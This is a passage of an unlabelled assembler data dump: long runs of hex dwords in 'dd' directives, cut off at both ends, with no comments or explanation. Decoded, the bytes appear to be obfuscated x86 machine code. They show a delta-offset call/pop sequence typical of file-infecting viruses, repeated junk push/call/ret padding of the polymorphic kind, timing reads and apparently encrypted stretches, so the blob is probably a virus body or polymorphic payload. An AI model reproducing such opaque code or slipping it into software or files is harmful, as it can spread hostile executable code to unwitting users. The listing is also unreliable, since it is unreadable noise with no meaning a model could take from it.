0F3E2585Eh, 0B7D4B16Eh dd 959D8B80h, 0FF06031Bh, 31CB195h, 0FA8B6606h, 0EBFE9h dd 0E800h, 815D0000h, 7A70AEDh, 698D8906h, 89060304h, 3108D85h dd 89858D06h, 51060688h, 81BB505Fh, 8906F62Bh, 6A2404h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 9860F9C3h, 0BD1E565Fh, 12E9h, 568E2D00h, 53856EBFh dd 51A10BF9h, 0EE2B14E8h, 6430176Fh, 35FFh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0EEA11EC3h, 81663CC5h, 640541E3h, 2589h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0D2AA53C3h, 85FFBFA3h, 6032A15h, 52FEBF0Fh, 0BF79D1BBh dd 0FF6A5B06h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 5C35040h, 0B987E1EEh, 860F6060h, 0 dd 61F2BF0Fh, 12E9h, 0E6AA9F00h, 3380AE1Bh, 12AD67D9h dd 0B6A0A626h, 619A9C0Ch, 21D9B5FFh, 0BD890603h, 6030259h dd 3F99D29h, 95FF0603h, 6032015h, 132E9h, 1850F00h, 0F9000000h dd 816600B0h, 0E6FB1DD7h, 9119BF70h, 9D8B28A7h, 6031299h dd 3CF871E4h, 0C830F61h, 8B000001h, 30A219Dh, 0C8B60F06h dd 0BADBBF0Fh, 6, 7F86F781h, 7E94E00h, 99000000h, 832E3D3Fh dd 0C18B292Eh, 0C9BD8B60h, 0B2060308h, 0E8C161C5h, 0B2F38104h dd 663A64EAh, 11E9E2F7h, 0FB000000h, 0BC22C17h, 0FF5F37D0h dd 0F2AE769h, 0FC695236h, 0EE8C82Bh, 0A8000000h, 0BFAA5E34h dd 91E05F92h, 0EA9C7C22h, 0BD8B521Ch, 6031301h, 0D18B5B5Bh dd 5E9h, 0C7816600h, 858B57CCh, 6031959h, 0C319D89h, 0C0830603h dd 6840F07h, 8B000000h, 326DDBDh, 0C08306h, 32719D89h dd 0D03B0603h, 11830Fh, 9D330000h, 603250Dh, 5AE9h, 0B18D3100h dd 8B060305h, 3214D8Dh, 0C9BD2906h, 83060310h, 840F01E1h dd 3Fh, 0F1E78166h, 4DA5835Dh, 0FE060321h, 3830Fh, 0E7800000h dd 9DBD0BFDh, 8906030Ah, 3195995h, 0BE806h, 64DA0000h dd 96593272h, 1517FA4Fh, 2840F87h, 8B000000h, 0E95BDAh dd 8D000000h, 70E43B5h, 0DB816606h, 81661D0Ah, 6ABEA7C3h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h dd 0C3574700h, 0F1FC718h, 682h, 9BD3100h, 0FF06032Ah, 31FB995h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 0AC44508Bh, 0B0CF308h, 0BFCF8166h, 800B985h dd 850F0000h, 6, 0C79BD8Bh, 0E1830603h, 0F58501FCh, 0FC060326h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0E0C35040h dd 589EAD3Bh, 4B25BD22h, 19BD8BAAh, 0F060328h, 881h, 9D8B5300h dd 60326CDh, 6AC02B5Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0D889C356h, 9F589156h dd 1CDB8166h, 6AD22B05h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0A94C357h, 2317184Ah dd 320497BCh, 66F88B60h, 0AD61D88Bh, 0E8D1C233h, 0E983D003h dd 6AF47504h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 8E96C356h, 0E8F3D589h, 0Fh, 241A043Fh dd 5CB8DB5Ah, 3A63863Fh, 8BFB4DBDh, 31035BDh, 0B4B75B06h dd 0EFE38166h, 55006A72h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 858B60B8h, 6031BF1h, 880D61h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 4791FFC3h, 0C2A9280h, 60A672B0h, 8B61D58Ah dd 331D195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0E780E25Fh, 0B794BDCBh, 459D0BB4h dd 8B060313h, 320419Dh, 0E18D8B06h, 6A060301h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 8936C357h, 32E798Dh, 8A0F6006h, 6, 11B59529h, 50610603h dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 52006A58h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 0E646412Dh, 66A437AFh, 0FBFFF781h, 6ADBB70Fh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 1455C357h, 0D477406h, 7E02C474h, 0BD83AFB7h, 6031D65h dd 3B840F00h, 89000000h, 326519Dh, 0B806h, 0B70F0000h dd 1C8D8DFAh, 0FF06034Dh, 53006AE1h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 2999945Ch dd 1AD18D89h, 0BD830603h, 60321BDh, 0CA840F00h, 6A000004h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 7388C356h, 9A1BB2BEh, 9589C820h, 6030665h dd 21BDBD83h, 0F010603h, 4AF84h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0F381C1B6h dd 28B32B46h, 21BDBD83h, 0F030603h, 44986h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 5C5053E6h, 359D0957h, 8B06032Ah, 6A60FBh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 378F7AC3h dd 0A05F5204h, 8C667269h, 12E9D9h, 3F050000h, 262B8CC9h dd 0ABEF1BADh, 768860C9h, 6D8D1F3Dh, 6A04E180h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0DEAFC356h, 820Fh, 0B70F0000h, 0FC90AD9h, 13784h, 959D8B00h dd 8B06032Ch, 313C185h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 29E6C909h, 314098Dh, 79853306h dd 6A06031Ch, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 0CEC9C352h, 5AFB5152h, 1D918D89h dd 0F900603h, 0A88h, 5E900h, 0E59E0000h, 50765F78h, 0BAB478BFh dd 6A904Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 4BC507C3h, 559D8B8Ah, 6A060332h, 0E8D88B00h dd 4, 1F03FFh, 800Fh, 8B500000h, 0E9042444h, 0Bh, 8FF6DCEFh dd 5D259773h, 8B605B39h, 89DE8B00h, 8A042444h, 95FF58F9h dd 6031405h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0DEC35646h, 0B88C6892h, 0A7348589h, 6A0606h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 8E0FF2C3h, 5, 0C545C1BBh, 2985894Ch, 0E906031Ch, 226h dd 68B0Fh, 9D8B0000h, 6032FE9h, 0A72C858Bh, 6A0606h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 328CFAC3h, 0B54274E3h, 81662C42h, 0C72DB4EBh, 1800h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 2A2BE079h, 0E77BFAABh, 0EB800EDCh, 30B58B54h dd 0E80606A7h, 0Eh, 9DC1F3ABh, 96B0695h, 0AF06117Eh, 0BD8B9857h dd 60311F1h, 8D858B5Fh, 0E9060312h, 7, 0D274F3F0h, 0E936571Dh dd 0Ah, 0D58A2871h, 0A2B8076h, 689ACA7h, 0F1EF8166h, 0C1858B50h dd 6A060313h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 9A47C352h, 0CB0113B4h, 19466A47h dd 31C98589h, 46890603h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 0B6D54A79h, 3E6E562Fh dd 0B589C230h, 603038Dh, 13A98501h, 0BB500603h, 9A8F8C6h dd 6A243489h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 603DC356h, 0CAC985FCh, 9D017453h dd 6030FB9h, 9E28BCBFh, 2CB5FF1Ah, 6A0606A7h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0C187C356h, 20796929h, 1C059D8Bh, 0FF680603h, 6080BD07h dd 8161D38Bh, 0FC002404h, 89BF7F61h, 8D61B855h, 6A73485h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 0BD8B0F5Fh, 60311FDh, 810F5150h, 16h, 11E9h dd 88E99400h, 0A69C1839h, 859DF1CEh, 6D96080h, 895F98A7h dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 9D8B96C3h, 6030A29h, 140595FFh, 6A0603h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 0DA6918C3h, 345BD0Bh, 0E9610603h, 7, 45C334BBh, 0E81E934Dh dd 10h, 0F6E08E8Fh, 24752FEBh, 2E63DAEFh, 74422DC9h, 14E9h dd 0D6806B00h, 37716A58h, 424733C6h, 0A863FC16h, 70E30EEEh dd 85C75F18h, 60321BDh, 3, 1105BD8Bh, 0BD830603h, 606A734h dd 7840F00h, 0E9000000h, 1Dh, 3050FE8Bh, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0B782B194h dd 6880F6Eh, 89000000h, 32D1585h, 4ACF8106h, 833CAAEDh dd 321BDBDh, 850F0306h, 3EDh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 0C35747h, 0CB344314h, 487312C8h dd 12899D01h, 0B70F0603h, 34BD83FEh, 606A7h, 3B3840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 0FFB6B8C3h, 6A734B5h, 95FFF906h, 6032E05h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0D6C35242h dd 8B855624h, 0EF3886B2h, 0A728B58Bh, 6A0606h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0BF640C3h, 6C7E604h, 10001h, 1F4D9589h, 50960603h, 96D98B66h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0FAC35141h dd 0CBCFCF13h, 0FAE1265h, 38Dh, 0DA8B6600h, 0A734B5FFh dd 6A0606h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 8A46DDC3h, 0DE59EA83h, 8993154Bh, 3027DB5h dd 0E1BD8B06h, 0FF060331h, 32F1995h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 0FE809h, 0C0B00000h dd 0AA67908Ch, 0C96AC05Eh, 0A06FA101h, 6DBF6619h, 0B58B5F3Dh dd 606A728h, 28BDB589h, 858B0603h, 603311Dh, 89DEB70Fh dd 0C486h, 59BD3100h, 8B06031Ah, 331D195h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 4C283A5h, 0F319D89h, 50890603h, 55006A20h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0C53C2A4h dd 85891DEBh, 6031E8Dh, 0BBF3858Dh, 7E90606h, 8A000000h dd 75FF9BD7h, 86894C74h, 0B8h, 0D968F781h, 6A5B08h, 34B5FFF9h dd 6A0606A7h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0B514C350h, 6F028764h, 0B195FFFBh dd 6A06031Ch, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 53F2C353h, 0CA7127BCh, 8972C3EBh dd 3281D85h, 37B35006h, 57243489h, 14E8h, 0C2B03C00h, 0B2B0CC67h dd 0E3207BCDh, 97909CE2h, 556C58B8h, 799BB37h, 5F5F28C1h dd 0A734B5FFh, 9D8B0606h, 6032549h, 853A64BFh, 6595FF3Ah dd 53060311h, 14E960h, 179B0000h, 708C0CCh, 2415178h, 0BA7E70D9h dd 0F760A78h, 7E95CC2h, 96000000h, 0C50F8F42h, 5F61CF83h dd 19558529h, 0BD830603h, 6031795h, 2A840F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 338DC356h, 0BB1FFB34h, 24348950h, 0F9C9C7BFh dd 34B5FF6Ch, 0E90606A7h, 10h, 7B5C14FBh, 0FE0BA0F1h, 614F6371h dd 0DF3999C4h, 66195FFh, 14E90603h, 57000000h, 47864D8h dd 634140FDh, 0A6044B5Fh, 180C7226h, 9698839h, 310E59Dh dd 34B5FF06h, 660606A7h, 0FF40ECBFh, 30AE195h, 8913BF06h dd 0BD8B0010h, 6030BF9h, 218DBD83h, 0F020603h, 8884h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0EC987754h, 0B589C667h, 6032525h, 1FD858Bh, 6A0603h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 753E2DC3h, 9E79CF6Dh, 0F60604Ch, 0AE8D8B7h, 0A6000000h dd 1BF72625h, 0E7BF25E9h, 66615B90h, 8961D38Bh, 30599B5h dd 0AD9D8B06h, 0C6060322h, 8B0F0000h, 9, 3850Fh, 8B660000h dd 0B985C7FAh, 60330h, 8A000000h, 0F260E9DCh, 6AFFFFh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 510A55C3h, 0EE9h, 2FEFDF00h, 5C1381E9h, 5809CDC8h, 5B04DD27h dd 0B2DBD8Bh, 0C18B0603h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 57C35040h, 0FB8B686Bh, 2811858Dh, 6A0603h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 685D3AC3h, 9BF8AF61h, 0F1BD8BBEh, 90060311h, 0DE850h dd 0ADF70000h, 0E484CFA2h, 0AA295026h, 8A297440h, 6A905FDCh dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 8BD63327h, 32DC19Dh, 0F006A06h, 68Ch, 0ED958900h dd 8D06030Ch, 7B76485h, 0FC576006h, 75B58B5Bh, 61060328h dd 905C083h, 3228995h, 52505006h, 310F5F56h, 0F6A0BB66h dd 489585Ah, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0C8CE1F28h, 0D9B70F9Fh, 6A006Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 4610EEC3h, 40A20487h, 0BF6682BCh, 0F98B54EEh, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 5CC1D0C3h, 308CBB16h, 0F88B31D6h, 0CC995FFh, 95890603h dd 6030FCDh, 97478D8Dh, 0BAB30606h, 0BD83D1FFh, 6031E91h dd 61850F01h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0AD0C350h, 38FEA05Eh dd 6A8C84B7h, 0E1D78002h, 0EE960h, 23590000h, 2F1BEDDEh dd 81280E65h, 0EFDCD65Ch, 8E9h, 56182300h, 0AC80E1D1h dd 66506144h, 89DD01BFh, 62B72404h, 1CB195FFh, 0BD890603h dd 6033289h, 0D5FE9h, 0E800h, 815D0000h, 7B76EEDh, 6890F06h dd 8B000000h, 304919Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0B1C53559h, 858DE0E1h dd 6068889h, 8B61F960h, 311D99Dh, 8E0F9006h, 3, 50FE8B66h dd 90D98B66h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 62C35242h, 9F0BDF85h, 0F1BD89D8h, 64060321h, 35FFh dd 0B9600000h, 47E8DE01h dd 896461F5h, 25h, 25BD2B00h, 0FF060325h, 32A1585h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0FF6AE02Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 73C35747h, 8051E9DFh, 0B5FFEACFh, 60322F9h, 1A0D8589h dd 95FF0603h, 6032015h, 0FFE9h, 0B0F900h, 12D59D8Bh, 70E60603h dd 0EE496BBh, 8971E46Fh, 304E99Dh, 0F613C06h, 0DF83h, 0D9F38100h dd 0F5EBF2Ch, 950C8B6h, 3120D8Dh, 6BA5B06h, 0F8000000h dd 0BD23C18Bh, 60326D5h, 2904E8C1h, 312D18Dh, 0E2F76606h dd 2BDA8B66h, 8BF98BC8h, 0BE860D1h, 0DB000000h, 93804E94h dd 57B7B163h, 0F5E7EF0h, 680h, 0A9B58900h, 61060303h, 87E9h dd 0F3816600h, 858B1BE3h, 8, 50A6BB66h, 0BB07C083h, 59EA0BB1h dd 8B00C083h, 325199Dh, 0FD03B06h, 1683h, 8B666000h, 0D98D31F0h dd 6106030Fh, 4FE9h, 759D8B00h, 8B060319h, 0FFFFFF8Dh dd 9E9FFh, 5A9B0000h, 52662108h, 83943B79h, 840F01E1h dd 2Ch, 0DE9h, 0A4840F00h, 449DD6CFh, 3005241Bh, 0A583F2E3h dd 0FFFFFFFFh, 0BB6650FEh, 895BC5E1h, 895h, 0E99AB300h dd 0 dd 36E5B58Dh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0CD0322C3h, 78AB6022h, 2BB760B5h dd 9D03006Ah, 6030B69h, 1FB995FFh, 6A0603h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0B5F0F4C3h dd 2D3F8968h, 8D29E0E8h, 6032459h, 0EC7B9h, 33B75600h dd 0FCE1835Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 0ADC35141h, 4CA6FA1Ch, 0CE917h, 0B8950000h, 0A205AEC6h dd 5AB2F7F7h, 8E84799h, 0FF000000h, 2624E6CDh, 0E9444E10h dd 14h, 4D512C1Ch, 0D0E18167h, 6A7D888Dh, 0FEDE0264h, 80D584EEh dd 6AFC5Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 9D03BFC3h, 6030651h, 2A85BD29h, 0C02B0603h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0FBC35646h dd 8B665EADh, 66D22BD9h, 351CC381h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 243D9D03h, 6A0603h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 191DEC3h, 3205D9Dh, 7E906h dd 37800000h, 96B6AA8Fh, 880D1Eh, 12E90000h, 0BB000000h dd 0EC5763F9h, 8F43DDB4h, 0E576A066h, 0B4D58080h, 0D1958B84h dd 66060331h, 2B90CF81h, 1E18D8Bh, 6A0603h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 0FE68AC3h dd 685h, 69858900h, 5006030Bh, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 57006AD3h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 61D3E672h, 9DBD31A0h dd 8306030Fh, 31D65BDh, 840F0006h, 2Eh, 0DE8h, 4023FB00h dd 8E1285F7h, 86E67FCDh, 0FA8BB914h, 0B85Fh, 8DF50000h dd 34D1C8Dh, 79B52906h, 0FF060313h, 0DF8166E1h, 0BD83C0BEh dd 60321BDh, 0C4840F00h, 8B000004h, 330D19Dh, 0CDBD8B06h dd 83060324h, 321BDBDh, 840F0106h, 4C6h, 0FA2ED381h, 0BD834080h dd 60321BDh, 7D860F03h, 6A000004h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0DFD5C352h dd 6810Fh, 0B5310000h, 6030B01h, 719D8B60h, 6606031Bh dd 0B589D98Ch, 6032D79h, 0E904E180h, 11h, 1F41A496h, 73B59DA1h dd 0FF45A5D5h, 4CC9FFh, 7E9DEh, 0A8EF0000h, 84F943Ah, 0FC90A1Ch dd 19684h, 5858900h, 8B060302h, 313C185h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 7E513FDDh, 0E38166A9h, 0FE9EAA8h, 2F000000h, 0C9C7228Ah dd 1BDF55E4h, 613C0E31h, 85337C3Bh, 6031C79h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 66C35040h, 0E9525090h dd 10h, 0EC209E85h, 0A07D2ECFh, 0B64F02A7h, 68A796A1h dd 8B66310Fh, 50585AD9h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 7F4F41F4h, 0DD9A16C8h dd 6A2F59h, 3EEB8166h, 8DB529EAh, 0E8060330h, 4, 1F03FFh dd 0E8D08B60h, 13h, 0A1710C21h, 0E885F53Fh, 89A0BF08h dd 1B5B0AE7h, 8BB9B18Dh, 50615AD0h, 448B8DB3h, 0A6BF0424h dd 8B6CB0BEh, 0D7BB6600h, 24448947h, 0D98B6604h, 6E85758h dd 85000000h, 2CF424DCh, 11E809h, 0CADB0000h, 45450B3Dh dd 0CDD5CBDFh, 99A55154h, 5B046378h, 95FF5F5Bh, 6031405h dd 30958529h, 85890603h, 606A734h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 0C35343h, 0AB2746B0h, 20F58529h dd 0EF810603h, 6F1521E5h, 20AE9h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0A3BA72Fh dd 99D4D57h, 6660D988h, 890FD98Bh, 2, 8B616160h, 6A72C85h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0E45EA66Ch, 10B59D29h, 0C70603h, 18h, 5E8h dd 5C276100h, 8B66CA9Ch, 0B58B5FFAh, 606A730h, 14840Fh dd 0FE90000h, 14000000h, 71088A9Dh, 1D935C5h, 4B28C851h dd 858B1BEFh, 603128Dh, 0C119589h, 6890603h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 5C35242h, 5EA3A396h dd 13C1858Bh, 6A0603h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 9F5F17C3h, 0BE5DC8CCh, 14099D8Bh dd 0F600603h, 1780h, 12E900h, 56120000h, 0B60C902Bh, 0A02E48D0h dd 2444882Eh, 9ACDEB5Ch, 8961CBB7h, 6A0446h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 192EF3C3h dd 14E9D88Bh, 9E000000h, 8D9B3D5Ah, 0A2F94831h, 2DA14FA3h dd 0A163C3EAh, 96C22879h, 0AE9h, 2462D800h, 0F0421122h dd 5078C933h, 5FFB8B52h, 57006A96h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 9EA435DEh, 49950151h dd 5B06031Eh, 0A72CB5FFh, 6A0606h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 8167FAC3h, 0C2597CDBh dd 0A100687Ch, 481BE7Bh, 0A362FF24h, 75BD8B41h, 8D060323h dd 6A73485h, 0F99D0106h, 5006030Ch, 310F5250h, 585A5F53h dd 33240489h, 31D2DBDh, 595FF06h, 6A060314h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 77AEC353h, 0CB0834C2h, 6191805Ch, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 0F6C35343h, 94FC4103h, 85C716F9h dd 60321BDh, 3, 0E2B86660h, 5DF1808Bh, 34BD8361h, 606A7h dd 66840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 8915DBC3h, 3317985h, 0DE806h, 21330000h dd 6540411Fh, 1B341339h, 8BE06334h, 303D5BDh, 40E95F06h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 1B59C352h, 9D8B14FBh, 6033111h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 66C08B00h dd 837B83BFh, 321BDBDh, 850F0306h, 3CFh, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 19h, 8DC35747h, 0BEBFA67Fh dd 34BD83E6h, 606A7h, 3A1840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 24DE48C3h dd 85661A5Eh, 12D19589h, 0FE8B0603h, 0A734B5FFh, 6A0606h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0E1E465C3h, 80C6A41Dh, 95FF66EBh, 6032E05h, 0A728B58Bh dd 0BD030606h, 6031D19h, 0C8A0Fh, 8A0F0000h, 6, 2DF59D8Bh dd 6C70603h, 10001h, 8E0F781h, 8166751Dh, 969A50C3h, 6830F50h dd 50000000h, 5A310F52h, 96505B58h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 95C35545h, 9810Fh, 8B600000h dd 32AA18Dh, 0B761F806h, 34B5FFD4h, 8B0606A7h, 1995FFDFh dd 8906032Fh, 3033585h, 28B58B06h, 810606A7h, 66E700D7h dd 1D858B35h, 89060331h, 320A985h, 0C4868906h, 89000000h dd 32A71BDh, 0D1958B06h, 6A060331h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 602BC356h dd 7FD08166h, 9D8B61B1h, 6031371h, 6A04C283h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0EA43C351h, 12FB799h, 0F6BF66CFh, 205089C8h, 0F3858DF5h dd 6A0606BBh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 0D900C350h, 32F55A66h, 45A64512h dd 7BA4CB81h, 86896235h, 0B8h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0FAC35747h, 0A4D0022Eh, 6A58CBh dd 32158589h, 0B5FF0603h, 606A734h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0B6C35545h, 0B195FF9Fh, 6A06031Ch dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0C8F9C355h, 753C6240h, 6850F33h, 8B000000h dd 3261D9Dh, 7E85006h, 0F4000000h, 6D63AF52h, 11E9E99Dh dd 2F000000h, 0C4FA4AFCh, 0FF88FFB8h, 3F127CD8h, 2F5A203Ch dd 2434895Bh, 8B0Fh, 0B5FF0000h, 606A734h, 106D8D89h, 95FF0603h dd 6031165h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 6CC35747h, 66577EF9h, 6292EB81h, 3DBD8B5Bh, 8306032Dh dd 31795BDh, 840F0006h, 42h, 2425BD8Bh, 50960603h, 60310F52h dd 6E9h, 261C9900h, 663E3598h, 61D701BBh, 6650585Ah, 6A96F98Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 301AC353h, 0B5FFFC2Eh, 606A734h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0A0C35040h, 56E8D37Fh dd 0E8F74D61h, 13E98Ah, 7FF00000h, 7F00B3E3h, 78BD0773h dd 58A9BFC7h, 0B3BF9147h, 75BD8BBCh, 0FF060303h, 3066195h dd 34B5FF06h, 0F0606A7h, 95FFFFBFh, 6030AE1h, 14619D8Bh dd 0BD830603h, 603218Dh, 2F840F02h, 9000000h, 32909BDh dd 0FD858B06h, 0B060301h, 325E5BDh, 0C606h, 68C0Fh, 0B5890000h dd 60321DDh, 0D9958B60h, 89060325h, 3248DBDh, 85C76106h dd 60330B9h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 1BC35141h dd 9B6B68C7h, 290DA023h, 313EDBDh, 0E9D3B706h, 0FFFFF396h dd 295BD89h, 0C18B0603h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 85C35646h, 0DAF9CAFh, 4F03844Ch, 31559D89h dd 0BD2B0603h, 60323E1h, 